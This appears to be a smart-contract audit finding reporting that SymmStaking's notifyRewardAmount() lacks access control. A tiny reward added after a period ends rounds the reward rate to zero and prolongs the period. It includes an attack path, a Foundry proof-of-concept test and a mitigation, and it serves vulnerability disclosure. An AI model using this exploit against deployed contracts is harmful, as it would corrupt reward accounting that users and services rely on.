Alert Lavender Leopard

Medium

# Any user can set reward rate to 0

### Summary

The lack of access control on the `notifyRewardAmount()` function can lead to incorrect reward rate calculations and adversely affect the results of potentially dependent functions.

### Root Cause

In `SymmStaking.sol`, any user can call the `notifyRewardAmount()` function to add rewards. However, if a user calls this function after the reward duration has ended and adds a very small amount, a rounding error can occur in [_addRewardsForToken()#L370](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L369C3-L370C41). This can result in the reward rate being set to 0 and extending the reward period. As a consequence, the `getFullPeriodReward()` function may return inaccurate values, which could lead to issues if relied upon by other services.

### Internal Pre-conditions

1. reward period must be finished 

### External Pre-conditions

///

### Attack Path

1. user1 deposits tokens for staking 
2. admin adds rewards using `notifyRewardAmount()`
3. reward period finishes
4. user1 adds rewards using `notifyRewardAmount()`, but the reward amount is too little (lets say 1)
5. reward rate is set to 0 because of rounding
6. user2 calls `getFullPeriodReward()` to see the amount of rewards for the entire reward duration, but gets 0

### Impact

The incorrect functioning of the method may result in inaccurate values, potentially causing issues if other services depend on it.

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SymmStaking} from "../src/staking/SymmStaking.sol";
import {MockERC20} from "../src/mock/MockERC20.sol";

contract MockUSDC is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 100_000_000 * 10 ** 6);
    }

    function decimals() public view override returns (uint8) {
        return 6;
    }
}

contract MyTest is Test {
    address public admin;
    address public user1;
    address public user2;
    MockUSDC public usdc;
    MockERC20 public symm;
    SymmStaking public symmStaking;

    function setUp() public {
        admin = makeAddr("admin");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");
        vm.deal(admin, 1000 ether);
        vm.deal(user1, 1000 ether);
        vm.deal(user2, 1000 ether);

        // creating USDC and SYMM tokens and transferring them to users
        vm.startPrank(admin);
        usdc = new MockUSDC("USDC", "USDC");
        usdc.transfer(user1, 1000 * 10 ** 6);
        usdc.transfer(user2, 1000 * 10 ** 6);
        symm = new MockERC20("SYMM", "SYMM");
        symm.transfer(user1, 1000 * 10 ** 18);
        symm.transfer(user2, 1000 * 10 ** 18);

        // creating and initializing SymmStaking contract
        symmStaking = new SymmStaking();
        symmStaking.initialize(admin, address(symm));
        symmStaking.configureRewardToken(address(usdc), true);
        symmStaking.configureRewardToken(address(symm), true);
        usdc.approve(address(symmStaking), type(uint256).max);
        symm.approve(address(symmStaking), type(uint256).max);
        vm.stopPrank();
    }

    function test__TestRate0() public {
        // user1 deposits SYMM tokens to stacking
        vm.startPrank(user1);
        symm.approve(address(symmStaking), type(uint256).max);
        usdc.approve(address(symmStaking), type(uint256).max);
        symmStaking.deposit(1000 * 10 ** 18, user1);
        vm.stopPrank();

        // admin add rewards
        vm.startPrank(admin);
        address[] memory addresses = new address[](2);
        addresses[0] = address(usdc);
        addresses[1] = address(symm);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 10000 * 10 ** 6;
        amounts[1] = 10000 * 10 ** 18;
        symmStaking.notifyRewardAmount(addresses, amounts);
        vm.stopPrank();

        // a week passes
        vm.warp(604800);

        // user1 adds 1 as a reward
        vm.startPrank(user1);
        address[] memory addresses2 = new address[](1);
        addresses2[0] = address(usdc);
        uint256[] memory amounts2 = new uint256[](1);
        amounts2[0] = 1;
        symmStaking.notifyRewardAmount(addresses2, amounts2);
        vm.stopPrank();

        // getFullPeriodReward returns 0
        assertEq(symmStaking.getFullPeriodReward(address(usdc)), 0);

        //lastTimeRewardApplicable returns current block.timestamp, that means periodFinish was prolonged
        vm.warp(604812);
        assertEq(symmStaking.lastTimeRewardApplicable(address(usdc)), 604812);
    }
}

```

### Mitigation

Restrict access to notifyRewardAmount() so that only authorized users can add rewards.